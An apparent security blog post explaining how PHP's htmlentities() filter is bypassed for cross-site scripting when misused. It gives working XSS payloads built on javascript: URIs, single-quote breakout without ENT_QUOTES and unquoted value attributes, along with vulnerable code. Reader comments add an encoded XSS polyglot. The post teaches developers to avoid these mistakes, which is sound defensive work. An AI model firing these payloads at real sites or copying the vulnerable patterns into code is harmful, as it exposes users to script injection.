bypassing htmlentities()

3:17 AM

Summary

Well I don’t know how to break it down for you, you just can’t break out of it. (if the function is used properly and exactly where it should). But most developers don’t use it the right way, since it’s like a norm for some developers to not use built-in functions properly. I will try to talk about some of the cases I came up while testing where I was able to bypass the function.

htmlentities() and htmlspecailchars() are functions mainly developed to filter out cross site scripting attacks. but I can promise you that you can build a better function if you just try. all the function does is html-entity the characters < , > “ and . and for a second it may seem there is no XSS without those characters. well, not really, I can think of one just on top of my head. something like javascript:alert(1) will be executed since none of the characters in it are filtered to be html entited… but there is a limitation to this. without using “> or any similar technique we will not be able to break out of the attribute we are inside.


Also the value attribute in html is not vulnerable since it only accepts strings and well we need scripts that can execute or call on event-handler call… something like href, onclick would do… but who would put such a foolish mistake right? Well you wouldn’t believe if I told you almost everybody does.  Have a code like?

print '<img src="'.htmlentities("$url").”';

or even
                print "<a href='".htmlentities($url)."'>Click Here</a>";

javascript:alert(1);” will bypass it because it doesn’t contain the characters that needs to be filtered. But notice a limitation here? Our code will only execute if user clicks the Click Here button. So that’s a huge limitation. Or is it? The html code will become something like

<a href='javascript:alert(1);'>Click Here</a>

But we need to break out of the href tag and execute a more malicious javascript. If we try to break out of it using ‘> it won’t work since both those characters are filtered out… and the code will 
become something like

<a href='javascript:alert(1);&quot;&gt;'>Click Here</a>

Right? Well not exactly. Htmlentities comes with single quote ( ‘ ) not filtered by default and you have to specify a special switch called ENT_QUOTES to declare that. So the real output when values like “javascript:alert(1);’>” is given

<a href='javascript:alert(1);'&gt;'>Click Here</a>

A hope! We broke out of the attribute so giving values like

javascript:alert(1);’ onfocus=alert(1); autofocus

will output html source like

<a href='javascript:alert(1);' onfocus=alert(1); autofocus>Click Here</a>

So wow… our final payload to bypass the filter would look something like

paulos’ onfocus=alert(0); autofocus

Would successfully bypass the function htmlentities and prints out the source of

<a href='paulos' onfocus=alert(0) autofocus>Click Here</a>

So why not use the switch to enable the single quote (‘) and make our code secured. something like
            
print "<a href='".htmlentities($url, ENT_QUOTES)."'>Click Here</a>";

Well now, we may can’t break out of the cage we are inside but still can execute JavaScript in the attribute we are inside. However, the value html attribute is off limits. we cannot execute JavaScript inside it. But when you find code like:

print "<input type='text' value=".htmlentities("$value").">";

even when using ENT_QUOTES, this is when value attribute becomes vulnerable.

paulos onmouseover=alert(1);

 will successfully bypass the value parameter and make html code like 

<input type='text' value=paulos onmouseover=alert(1);>


But this isn’t just it… attackers can still attack your application using a different character set called UTF-7 even when you are using proper usage of htmlentities, so unless you set your custom-char-set to UTF-8 or any other charset other than UTF-7 & UTF-16, you are still vulnerable to XSS. But more on that another time… 

Conclusion

The misconception that htmlentities() can be used anywhere in the code & can mitigate cross-site scripting is widespread. and sometimes even seen put inside javascript outputs (which it can't protect) and inside html-attributes that get triggered onload. I hope this post showed you what a mistake it is to use the function this way and how many more vulnerabilities could it introduce on the way.




You Might Also Like

8 comments

  1. Man , i love you!xss world is your's!!!!!!!

    ReplyDelete
  2. still i feel it hard to crack bro!! could you help me more plz!!!

    ReplyDelete
  3. &#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;

    ReplyDelete
  4. %27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2f%2f%27%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2f%2f%22%3B%0Aalert%28String.fromCharCode%2888%2C83%2C83%29%29%2f%2f%22%3Balert%28String.fromCharCode%2888%2C83%2C83%29%29%2f%2f--%0A%3E%3C%2fSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83%2C83%29%29%3C%2fSCRIPT%3E

    ReplyDelete